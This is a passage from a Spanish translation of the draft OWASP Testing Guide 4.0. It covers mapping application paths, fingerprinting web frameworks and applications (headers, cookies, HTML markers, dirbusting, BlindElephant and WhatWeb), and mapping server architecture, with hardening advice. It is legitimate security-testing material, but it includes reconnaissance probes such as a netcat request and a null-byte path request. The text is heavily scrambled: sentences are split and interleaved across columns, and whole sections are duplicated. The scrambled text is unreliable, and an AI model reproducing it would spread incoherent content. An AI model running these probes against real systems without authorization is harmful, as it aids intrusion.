Pruebas de Caja Gris Probar en busca de puntos de entrada de la aplicación a través de una metodología de Caja Gris consistiría en todo lo ya identificado anteriormente con una adición. En los casos donde hay fuentes externas de las que la aplicación recibe datos y los procesa (tales como trampas SNMP, mensajes syslog, mensajes SMTP o SOAP de otros servidores) una reunión con los desarrolladores de la aplicación podría identificar las funciones que aceptan o esperan el ingreso de datos del usuario y cómo están formateados. Por ejemplo, el desarrollador podría ayudar a entender cómo formular una petición SOAP correcta que aceptaría la aplicación y dónde reside el servicio web (si el servicio web o cualquier otra función no ha sido identificada durante las pruebas de Caja Negra).

Result Expected: Aquí el evaluador debe anotar todos los parámetros de la petición tales como CUSTOMERID, ITEM, PRICE, IP y las cookies (que podrían ser sólo parámetros codificados o utilizadas para el estado de sesión).

Herramientas Proxy de intercepción:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 57

Guia de pruebas 4.0 "Borrador"

• OWASP: Zed Attack Proxy (ZAP)

Hay varias maneras de acercarse a las pruebas y a la medición de la cobertura del código:

• OWASP: WebScarab • Burp Suite • CAT

Accesorios de motores de búsqueda: • TamperIE for Internet Explorer • Tamper Data for Firefox

• Ruta - Pruebe cada uno de los caminos a través de una aplicación que incluye combinatoria y análisis de valores límite para cada ruta de decisión. Aunque este enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente con cada rama de decisión. • Flujo de Datos (o análisis de la mancha) - prueba la asignación de variables a través de la interacción externa (normalmente los usuarios). Se centra en crear mapas del flujo, transformación y uso de datos a través de una aplicación. • Carrera - prueba varias instancias simultáneas de la aplicación manipulando los mismos datos.

Referencias Libros Blancos

• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -

El acuerdo en cuanto a qué método se utiliza y en qué medida se utiliza cada método debe ser negociado con el dueño de la aplicación. Enfoques más simples podrían también adoptarse, incluyendo el preguntarle al dueño de la aplicación las funciones o secciones del código por las que están particularmente preocupados y cómo llegar a esos segmentos de código.

tools.ietf.org Pruebas de Caja Negra

Cree mapas de las rutas de ejecución a través de la aplicación (OTG-INFO-007) Resumen

Para demostrar la cobertura del código al dueño de la aplicación, el evaluador puede iniciar con una hoja de cálculo y documentar todos los enlaces descubiertos usando robots araña en la aplicación (manual o automáticamente). Entonces el evaluador puede mirar más de cerca los puntos de decisión en la aplicación e investigar cuántas rutas de código importantes se descubren. Estas deberían entonces documentarse en la hoja de cálculo con URL, prosa y captura de pantalla de las descripciones de las rutas descubiertas.

Antes de comenzar las pruebas de seguridad, es de suma importancia entender la estructura de la aplicación. Sin una comprensión profunda de la distribución de la aplicación, es poco probable que sea probada exhaustivamente. Pruebas de Caja Gris/Blanca

Objetivos de la prueba Crear mapas de la aplicación de destino y comprender los principales flujos de trabajo.

Asegurar suficiente cobertura de código para el dueño de la aplicación es mucho más fácil con el enfoque de Caja Gris y Blanca para las pruebas. La información solicitada y proporcionada al evaluador asegurará que se cumplan los requisitos mínimos de cobertura de código.

Ejemplo Cómo probar Spidering automático En las pruebas de Caja Negra es extremadamente difícil probar todo el código base. No sólo porque el evaluador no tiene ninguna vista de las rutas de código a través de la aplicación, e incluso si lo hicieran, probar todas las rutas del código tomaría mucho tiempo. Una manera de reconciliar esto es documentar qué rutas del código fueron descubiertas y probadas.

Los robots araña automáticos son una herramienta utilizada para descubrir automáticamente nuevos recursos (URL) en un sitio web en

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 58

Guia de pruebas 4.0 "Borrador"

particular. Comienza con una lista de URL a visitar, llamadas semillas, que dependen de cómo se inicia el robot araña. Si bien hay un montón de herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy (ZAP):

[1] en.wikipedia.org

Framework referencial para el uso de huellas digitales en aplicaciones web (OTG-INFO008) Resumen El framework web[*] marcar con huellas digitales es una subtarea importante del proceso de recolección de información. Conocer el tipo de framework puede automáticamente dar una gran ventaja si este framework ya ha sido probado mediante pruebas de penetración. No son sólo las vulnerabilidades conocidas en versiones sin parches, sino configuraciones erróneas específicas en el framework y la estructura de archivo conocido que hace tan importante el proceso de marcar con huellas digitales.

ZAP ofrece las siguientes carácterísticas de spidering automático, que pueden ser seleccionadas a partir de las necesidades del evaluador:

• Sitio de Robot Araña - la lista de semillas contiene todas las URL existentes ya encontradas en el sitio seleccionado.

Se utilizan varios proveedores diferentes y versiones de los frameworks web. La información al respecto de estos ayuda significativamente en el proceso de pruebas y también puede ayudar a cambiar el curso de la

prueba. Dicha información puede ser derivada de un cuidadoso análisis

• Subárbol de Robot araña - la lista de semillas contiene todas las URL existentes ya encontradas y presentes en el subárbol del nodo seleccionado. • URL de robot Araña - la lista de semillas contiene sólo la URL correspondiente al nodo seleccionado (en el árbol de sitio). • Vista completa de Robot Araña - la lista de semillas contiene todas las URL que el usuario ha seleccionado como 'A la vista'.

Herramientas • Zed Attack Proxy (ZAP) • Spreadsheet software

de ciertos lugares comunes. La mayoría de los frameworks web tienen varios marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es básicamente lo que todas las herramientas automáticas hacen: buscar un marcador desde una ubicación predefinida y luego compararlo con la base de datos de firmas conocidas. Para mayor precisión se utilizan, generalmente, varios marcadores.

[*] Tenga en cuenta que este artículo no hace ninguna diferenciación entre Frameworks de aplicación Web (WAF) y sistemas de gestión de contenidos (CMS). Esto se ha hecho para que sea conveniente marcar con huellas digitales ambos casos en un solo capítulo. Además, se hace referencia a ambas categorías como frameworks web.

• Diagramming software Objetivos de la prueba Referencias Libros Blancos

El tipo de framework web usado, asi como tener una mejor comprensión de la metodología de pruebas de seguridad.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 59

Guia de pruebas 4.0 "Borrador"

sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el capítulo #Remediación). Cómo probar Pruebas de Caja Negra Hay varios lugares muy comunes para buscar definir el framework actual:

Así, en el mismo ejemplo, el evaluador podría perder el encabezado XPowered-By u obtener una respuesta similar a la siguiente:

• Encabezados HTTP • Cookies HTTP/1.1 200 OK • Códigos fuente HTML

Server: nginx/1.0.14 • Carpetas y documentos específicos Date: Sat, 07 Sep 2013 08:19:15 GMT Content-Type: text/html;charset=ISO-8859-1 Encabezados HTTP Connection: close La forma básica de identificación de un framework web es mirar el campo XPowered-By en el encabezado de respuesta HTTP. Muchas herramientas pueden utilizarse para marcar una huella digital. La más simple es la utilidad netcat.

Considere la siguiente solicitud-respuesta HTTP:

$ nc 127.0.0.1 80 HEAD / HTTP/1.0

Vary: Accept-Encoding X-Powered-By: Blood, sweat and tears

A veces hay más encabezados HTTP que apuntan a un cierto framework web. En el ejemplo siguiente, según la información de la solicitud HTTP, se puede ver que en X-Powered-By el encabezado contiene la versión de PHP. Sin embargo, el encabezado X-Generator señala que el framework utilizado realmente es Swiftlet, lo que ayuda a un evaluador de penetración a ampliar sus vectores de ataque. Al realizar el marcaje de huellas digitales, inspeccione siempre con cuidado cada encabezado HTTP en busca de tales fugas.

HTTP/1.1 200 OK Server: nginx/1.0.14 Date: Sat, 07 Sep 2013 08:19:15 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Vary: Accept-Encoding

Del campo X-Powered-By, entendemos que el framework de la aplicación web es muy posiblemente Mono. Sin embargo, aunque este enfoque es simple y rápido, esta metodología no funciona en el 100% de los casos. Es posible deshabilitar fácilmente el encabezado X-Powered-By mediante una configuración adecuada. También hay varias técnicas que permiten que un

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 60

Guia de pruebas 4.0 "Borrador"

framework CakePHP seleccionado, esto se podría hacer con la siguiente configuración (Extracto de core.php):

HTTP/1.1 200 OK Server: nginx/1.4.1 Date: Sat, 07 Sep 2013 09:22:52 GMT

/**

Content-Type: text/html * The name of CakePHP’s session cookie. Connection: keep-alive * Vary: Accept-Encoding

* Note the guidelines for Session names states: “The session name references

X-Powered-By: PHP/5.4.16-1~dotdeb.1

Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

* the session id in cookies and URLs. It should contain only alphanumeric * characters.” * @link http://php.net/session_name

Pragma: no-cache */

Cookies Otra manera similar pero más confiable de determinar el framework web actual es determinar el framework de cookies específicas.

Sin embargo, estos cambios son menos comunes que cambiar el encabezado X-Powered-By, por lo que este enfoque puede ser considerado como más confiable.

Considere la siguiente solicitud HTTP:

GET /cake HTTP /1.1

Código fuente HTML

Host: defcon-moscow.org

Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de la página HTML. A menudo se puede encontrar una gran cantidad de información que ayuda a un evaluador a reconocer un framework específico de la web. Uno de los marcadores comunes son comentarios HTML que conducen directamente a la divulgación del framework. Más a menudo, ciertas rutas específicas del framework pueden encontrarse, es decir, frameworks css y/o carpetas js específicos. Finalmente, las variables de secuencia de comandos (script) específicas podrían también apuntar a un cierto framework.

User-Agent: Mozilla75.0 |Macintosh; 22. 0) Gecko/20100101 Firefox/22 . 0

Intel Mac OS X 10.7; rv:

Accept: text/html, application/xhtml + xml, application/xml; q=0.9, */*; q=0 , 8 Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 Accept - Encoding: gzip, deflate

DNT: 1 Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71; Connection: Keep-alive

De la siguiente captura de pantalla uno puede aprender fácilmente el framework y su versión de los marcadores mencionados. El comentario, rutas específicas y variables del script pueden ayudar a un atacante a determinar rápidamente una instancia del framework ZK.

La cookie CAKEPHP ha sido establecida automáticamente, lo que da información sobre el framework que se utiliza. Una lista de nombres comunes de cookies se presenta en el capítulo #Cookies_2. Las limitaciones son las mismas - es posible cambiar el nombre de la cookie. Por ejemplo, para el

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 61

Guia de pruebas 4.0 "Borrador"

Con mayor frecuencia, dicha información se coloca entre etiquetas en etiquetas <meta> o al final de la página.

Actualmente, es una de las mejores herramientas de huellas digitales en el mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby Matches para toma de huellas digitales se hacen con: • Cadenas de texto (mayúsculas y minúsculas)

Sin embargo, se recomienda revisar todo el documento ya que puede ser útil para otros propósitos tales como inspección de otros comentarios útiles y campos ocultos. A veces, los desarrolladores web no se preocupan mucho por ocultar información sobre el framework utilizado. Es posible toparse con algo como esto en la parte inferior de la página:

• Expresiones regulares • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave) • MD5 hashes • reconocimiento de URL • etiquetas de patrones HTML • Códigos ruby personalizados para operaciones pasivas y agresivas

Una respuesta de muestra se presenta en la siguiente captura de pantalla:

Archivos y carpetas específicos Los archivos y carpetas específicos son diferentes en cada framework específico. Se recomienda instalar el correspondiente framework durante las pruebas de penetración para tener mejor entendimiento de qué infraestructura se presenta y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de archivos y carpetas predecibles (code.google.com).

BlindElephant Página Web: community.qualys.com Esta magnífica herramienta funciona mediante el principio de checksum (suma de comprobación) de archivos estáticos basados en la diferencia de la versión que proporciona así una alta calidad de huellas digitales. Idioma:Python

Herramientas

Muestra de respuesta de una huella digital exitosa: Una lista de herramientas generales y muy conocidas se presenta a continuación. También hay un sinfín de otras utilidades, así como herramientas de huellas digitales basadas en frameworks.

WhatWeb: Sitio Web: morningstarsecurity.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 62

Guia de pruebas 4.0 "Borrador"

pentester$ python BlindElephant.py http://my_target drupal

Wapplyzer es un accesorio de Firefox Chrome. Sólo funciona en coincidencias de expresiones regulares y no necesita otra cosa que

Loaded /Library/Python/2.7/sitepackages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant fingerprint for version of drupal at http://my_target

cargar la página en el navegador. Funciona totalmente a nivel de navegador y da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto es muy útil para tener una noción de qué tecnologías fueron utilizadas para construir el sitio web de destino inmediatamente después de navegar por una página.

Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4

Una muestra de la respuesta de un accesorio se presenta en la siguiente captura de pantalla.

Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca Referencias Hit http://my_target/themes/garland/style.css

Libros Blancos

Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

• Saumil Shah: “An Introduction to HTTP fingerprinting” -

...

net-square.com • Anant Shrivastava : “Web Application Finger Printing” -

Fingerprinting resulted in:

anantshri.info

Remediación Wappalyzer Página Web: http://wappalyzer.com

El consejo general es usar varias de las herramientas descritas anteriormente y verificar los registros para entender exactamente lo que ayuda a un atacante a revelar el framework de la web. Mediante la realización de múltiples análisis después de que se han hecho cambios para ocultar las rutas del framework, es posible alcanzar un mejor nivel de seguridad y asegurarse de que el framework no puede ser detectado por análisis automático. A continuación se presentan algunas recomendaciones específicas, de acuerdo a la ubicación del marcador del framework y algunos enfoques adicionales interesantes.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 63

Guia de pruebas 4.0 "Borrador"

Encabezados HTTP Compruebe la configuración y desactive u ofusque todos los encabezados HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-usingnetscaler.html

• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo htaccess y agregando RewriteCond o RewriteRule allí. A continuación se presenta un ejemplo de tal restricción para dos carpetas comunes de WordPress.

RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR] RewriteCond %{REQUEST_URI} /wp-admin/$ RewriteRule $ /http://your_website [R=404,L]

Cookies Se recomienda reemplazar los nombres de las cookies al hacer cambios en los archivos de configuración correspondientes.

Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el fin de automatizar este proceso, existen ciertos accesorios (plugins) específicos del framework. Un ejemplo para WordPress es StealthLogin: wordpress.org.

Código fuente HTML Compruebe manualmente el contenido del código HTML y elimine todo lo que explícitamente dirige al framework.

Enfoques adicionales Guías generales:

Guías generales: [1] gestión de checksum • Asegúrese de que no hay marcadores visuales que revelen el framework. • uite todos los comentarios innecesarios (derechos de autor, información de errores, comentarios específicos del framework).

El propósito de este enfoque es vencer los escaneos basados en checksum (la suma de comprobación) y no permitirles revelar archivos por sus hashes. En general, existen dos enfoques en la gestión de checksum:

• Retire etiquetas de generación y META. • Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a otra carpeta, o cambiar el nombre de la carpeta existente).. • Utilice los archivos css o js propios de la empresa y no los almacene

• Modificar el contenido - incluso una ligera modificación resulta en una suma de hash completamente diferente, así que añadir un solo byte en el final del archivo no debe ser un gran problema.

en carpetas de frameworks específicos. • No utilice secuencias de comandos predeterminados en la página ni los ofusque si deben utilizarse.

Archivos y carpetas especificas

[2] Caos controlado Un método divertido y eficaz que implica agregar archivos y carpetas falsos desde otros frameworks para engañar a los escáneres y confundir a un atacante. Pero, ¡tenga cuidado de no sobreescribir las carpetas y archivos existentes o romper el framework actual!

Guias generales:

• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica archivos de texto que revelen información sobre las versiones y la instalación también.

Aplicación de huellas digitales para web (OTG-INFO-009)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 64

Guia de pruebas 4.0 "Borrador"

Resumen GET / HTTP/1.1 No hay nada nuevo bajo el sol, y casi cada aplicación web que se puede pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de proyectos de software libre y de código abierto que son desarrollados y desplegados activamente alrededor del mundo, es muy probable que una prueba de seguridad enfrentará un sitio objetivo que es total o parcialmente dependiente de una de estas aplicaciones muy conocidas (por ejemplo, Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las aplicaciones web que se están probando ayuda significativamente en el proceso de prueba y se reduce drásticamente el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas tienen encabezados HTML, cookies y estructuras de directorios que se pueden enumerar para identificar la aplicación.

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 ‘’’Cookie: wp-settings-time-1=1406093286; 2=1405988284’’’

wp-settings-time-

DNT: 1 Connection: keep-alive

Objetivos de la prueba

Host: blog.owasp.org

Identificar la aplicación web y la versión para determinar vulnerabilidades conocidas y la formas de explotarlas apropiadamente para usar durante la prueba.

Cómo probar

La cookie de CAKEPHP se ha establecido automáticamente, lo que da información sobre el framework que se utiliza. Una lista de nombres comunes de las cookies se presenta en la sección de Identificadores de Aplicación Común. Sin embargo, es posible cambiar el nombre de la cookie.

Cookies Una manera relativamente confiable de identificar una aplicación web es mediante la aplicación de cookies específicas.

Código fuente HTML

Considere la siguiente solicitud HTTP:

Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de la página HTML. A menudo se puede encontrar una gran cantidad de información que ayuda a un evaluador a reconocer una aplicación web específica. Uno de los marcadores comunes son los comentarios HTML que conducen directamente a la divulgación de la aplicación. Más a menudo, ciertas rutas específicas de la aplicación pueden encontrarse; es decir,

enlaces a aplicaciones css y carpetas js específicas. Finalmente, las variables de script específico también pueden apuntar a una aplicación determinada.

De la metaetiqueta siguiente, uno puede aprender fácilmente la aplicación que utiliza un sitio web y su versión. El comentario, rutas específicas y variables de script pueden ayudar a un atacante para determinar rápidamente una instancia de una aplicación. <meta name="”generator”" content="”WordPress" 3.9.2”="">

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 65

Guia de pruebas 4.0 "Borrador"

Con mayor frecuencia, dicha información se coloca entre etiquetas , en etiquras <meta> o al final de la página. Sin embargo, se recomienda revisar todo el documento ya que puede ser útil para otros propósitos tales como inspección de otros comentarios útiles y campos ocultos.

Archivos y carpetas específicos Aparte de la información reunida de fuentes HTML, existe otro enfoque que ayuda enormemente a un atacante a determinar la aplicación con una alta precisión. Cada aplicación tiene su propia estructura específica de archivos y carpetas en el servidor. Se ha señalado que se puede ver la ruta de acceso específica desde la fuente de la página HTML, pero a veces no se presentan explícitamente allí y todavía residen en el servidor.

Con el fin de descubrirlos se utiliza una técnica conocida como dirbusting. Dirbusting es forzar un objetivo con nombres de carpetas y archivos predecibles y monitorear las respuestas HTTP para enumerar el contenido del servidor. Esta información puede utilizarse tanto para buscar archivos por defecto y atacarlos, como para dejar huellas digitales en la aplicación web. Dirbusting se puede hacer de varias maneras; el ejemplo siguiente muestra un ataque exitoso mediante dirbusting contra un objetivo impulsado por WordPress con la ayuda de la lista definida y la funcionalidad de intruso de Burp Suite.

Consejo: antes de iniciar el dirbusting, se recomienda revisar primero el archivo robots.txt. A veces se pueden encontrar allí también las carpetas específicas de la aplicación y otra información sensible. Abajo se presenta un ejemplo de un archivo robots.txt de este tipo en una captura de pantalla.

Las carpetas y archivos específicos son diferentes para cada aplicación. Se recomienda instalar la aplicación correspondiente durante las pruebas de penetración para tener un mejor entendimiento de qué infraestructura se utiliza y qué archivos pueden quedar en el servidor. Sin embargo, ya existen varias listas buenas de archivos y un buen ejemplo es la lista de archivos FuzzDB de documentos y carpetas predecibles (http://code.google.com/p/fuzzdb/).

Podemos ver que para algunas carpetas de WordPress-específicas (por ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son 403 (prohibido), 302 (encontrado, redirección a wp-login.php) y 200 (OK), respectivamente. Este es un buen indicador de que el objetivo es alimentado por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones plugin y sus versiones. En la imagen siguiente puede ver un archivo CHANGELOG, típico de un plugin Drupal, que proporciona información sobre la aplicación que está siendo usada y revela una versión del plugin vulnerable.

Identificadores de aplicación común Cookies

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 66

Guia de pruebas 4.0 "Borrador"

Actualmente, una de las mejores herramientas de huellas digitales en el mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby Matches para toma de huellas digitales se hacen con: • Cadenas de texto (mayúsculas y minúsculas) • Expresiones regulares • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)

• MD5 hashes • Reconocimiento de URL • Etiquetas de patrones HTML • Códigos ruby personalizados para operaciones pasivas y agresivas Una respuesta de muestra se presenta en la siguiente captura de pantalla:

Código fuente HTML

BlindElephant Página web: community.qualys.com

Más información: www.owasp.org

Esta magnífica herramienta funciona mediante el principio de checksum (suma de comprobación) de archivos estáticos basados en la diferencia de la versión, proporcionando así una alta calidad de huellas digitales. Idioma:Python

Herramientas

Muestra de respuesta de una huella digital exitosa:

A continuación se presenta una lista general de herramientas conocidas. También hay una gran cantidad de otras utilidades, así como herramientas de huellas digitales basadas en frameworks.

WhatWeb: Sitio web: morningstarsecurity.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 67

Guia de pruebas 4.0 "Borrador"

utilizadas para construir el sitio web de destino inmediatamente después de navegar por una página.

pentester$ python BlindElephant.py http://my_target drupal Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant http://my_target

fingerprint

for

version

of

drupal

at Una muestra de la respuesta del plugin se presenta en la siguiente captura de pantalla:

Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt

Referencias

File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Libros Blancos

Hit http://my_target/themes/garland/style.css Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

• Saumil Shah: “An Introduction to HTTP fingerprinting” - net-square.com

• Anant Shrivastava : “Web Application Finger Printing” - anantshri.info

... Remediación Fingerprinting resulted in: Wappalyzer Página web: http://wappalyzer.com Wapplyzer es un plugin de Firefox Chrome. Sólo funciona en coincidencias de expresiones regulares y no necesita otra cosa que cargar la página en el navegador. Funciona totalmente a nivel de

navegador y da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto es muy útil para tener una noción de qué tecnologías fueron

El consejo general es usar varias de las herramientas descritas anteriormente y verificar los registros para entender exactamente lo que ayuda a un atacante a revelar el framework web. Mediante la realización de múltiples análisis después de que se han hecho cambios para ocultar las rutas del framework, es posible alcanzar un mejor nivel de seguridad y asegurarse de que el framework no puede ser detectado por análisis automáticos. A continuación se presentan algunas recomendaciones específicas, de acuerdo a la ubicación del marcador del framework y algunos enfoques adicionales interesantes.

Encabezados HTTP

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 68

Guia de pruebas 4.0 "Borrador"

Compruebe la configuración y desactive u ofusque todos los encabezados HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un artículo interesante sobre ofuscación de encabezados HTTP con Netscaler: grahamhosking.blogspot.ru

Cookies Se recomienda cambiar los nombres de las cookies al hacer cambios en los archivos de configuración correspondientes.

• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo htaccess y agregando RewriteCond o RewriteRule allí. A continuación se presenta un ejemplo de tal restricción para dos carpetas comunes de WordPress.

RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR] RewriteCond %{REQUEST_URI} /wp-admin/$ RewriteRule $ /http://your_website [R=404,L]

Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el fin de automatizar este proceso, existen ciertos accesorios (plugins) específicos del framework. Un ejemplo para WordPress es StealthLogin: Código fuente HTML wordpress.org. Compruebe manualmente el contenido del código HTML y elimine todo lo que explícitamente señala el framework. Enfoques adicionales Guías generales:

Guías generales: [1] gestión de checksum

• Asegúrese de que no hay marcadores visuales que revelen el framework. • uite todos los comentarios innecesarios (derechos de autor, información de errores, comentarios específicos del framework).

El propósito de este enfoque es vencer a los escaneos basados en checksum (la suma de comprobación) y no permitirles revelar archivos por sus hashes. En general, existen dos enfoques en la gestión de checksum:

• Retire etiquetas de generación y META. • Utilice los archivos css o js propios de la empresa y no los almacene

• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a otra carpeta, o cambiar el nombre de la carpeta existente) • Modificar el contenido - incluso una ligera modificación resulta en una suma de hash completamente diferente, así que añadir un solo byte en el final del archivo no deben ser un gran problema.

en carpetas de frameworks específicos. • No utilice secuencias de comandos predeterminados en la página ni los ofusque si deben utilizarse.

[2] Caos controlado Un método divertido y eficaz que implica agregar archivos y carpetas falsos

a los escáneres y confundir a un atacante. ¡Pero tenga cuidado de no sobreescribir las carpetas y archivos existentes o romper el framework actual!. desde otros frameworks para engañar

Archivos y carpetas especificas Guias generales:

• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica archivos de texto que revelen información sobre las versiones y la instalación también.

Cree un mapa de la arquitectura de la aplicación (OTG-INFO-010) Resumen

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 69

Guia de pruebas 4.0 "Borrador"

La complejidad de la infraestructura de servidores web interconectados y heterogéneos puede incluir cientos de aplicaciones web y hace de la gestión de configuración y de la revisión un paso fundamental en la prueba e implementación de cada aplicación. De hecho, se necesita sólo una vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso problemas pequeños y sin importancia aparente pueden convertirse en serios riesgos para otra aplicación en el mismo servidor.

Para abordar estos problemas, es de suma importancia llevar a cabo

una profunda revisión de la configuración y problemas de seguridad conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de la red y de la arquitectura de la aplicación. Los diferentes elementos que conforman la infraestructura necesitan ser determinados para entender cómo interactúan con una aplicación web y cómo ellos afectan a la seguridad.

Cómo probar Cree un mapa de la arquitectura de la aplicación Se debe crear el mapa de la arquitectura de la aplicación mediante algunas pruebas para determinar qué componentes se usan para construir la aplicación web. En instalaciones pequeñas, una sencilla aplicación basada en CGI podría utilizar un solo servidor para que corra el servidor web que ejecuta la aplicación C, Perl o Shell CGIs y quizás también el mecanismo de autenticación.

mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposición y amplia el mapa de arquitectura. El evaluador comenzará haciendo preguntas simples como: "¿existe un sistema firewalling que protege al servidor web?". Esta pregunta se responderá a partir de los resultados del análisis de red orientada hacia el servidor web y el análisis de si los puertos de red del servidor web se están filtrando en el límite de la red (no se recíbe ninguna respuesta o se reciben mensajes de ICMP inalcanzables) o si el servidor está conectado directamente a Internet (es decir, devuelve paquetes RST para todos los puertos de no audio). Este análisis puede ser mejorado para determinar el tipo de firewall utilizado, basado en pruebas de paquetes de red. ¿Es el firewall una aplicación de estado completo o es un filtro de lista de acceso en un ruteador? ¿Cómo está configurado? ¿Puede evitarse?

Detectar a un proxy inverso delante de un servidor web debe hacerse por el análisis del banner del servidor web, que podría revelar directamente la existencia de un proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). También puede ser determinado mediante la obtención de las respuestas dadas por el servidor web a las peticiones y comparándolas con las respuestas esperadas. Por ejemplo, algunos proxys inversos actúan como "sistemas de prevención de intrusiones" (o escudos web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el servidor web responde con un mensaje 404 a una petición que se dirige a una página que no está disponible y devuelve un mensaje de error diferente para algunos ataques web comunes como los realizados por escáneres CGI, podría ser una indicación de que existe un proxy inverso (o un firewall de nivel de aplicación) que está filtrando las solicitudes y devuelve una página de error diferente a lo que se espera. Otro ejemplo: Si el servidor web devuelve un conjunto de métodos HTTP disponibles (incluyendo TRACE) pero los métodos esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.

En algunos casos, incluso el sistema de protección se entrega a sí mismo:

GET /web-console/ServerInfo.jsp%00 HTTP/1.0 En configuraciones más complejas, tales como un sistema de banca en línea, pueden estar involucrados múltiples servidores. Estos pueden incluir un proxy inverso, un servidor web de acceso frontal (front-end), un servidor de aplicaciones y un servidor de base de datos o servidor de LDAP. Cada uno de estos servidores se utilizan para propósitos diferentes y podrían incluso estar divididos en diferentes redes con firewalls entre ellos. Esto crea diferentes DMZ para que el acceso al servidor web no conceda un acceso de usuario remoto al mismo mecanismo de autenticación, y para que los riesgos de los diferentes elementos dentro de la arquitectura pueden ser aislados para que no comprometerán el resto de la arquitectura.

Obtener conocimiento de la arquitectura de la aplicación puede ser fácil si esta información es proporcionada al equipo de pruebas por los desarrolladores de la aplicación en un documento o a través de entrevistas, pero también puede resultar muy difícil si se hace una prueba de penetración ciega.

En este último caso, un evaluador comenzará primero con el supuesto de que existe una configuración simple (un solo servidor). Entonces él recupera la información

HTTP/1.0 200 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 83



Ejemplo del servidor de seguridad del punto de chequeo Firewall-1 NG AI "que protege" un servidor web:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 70

Guia de pruebas 4.0 "Borrador"

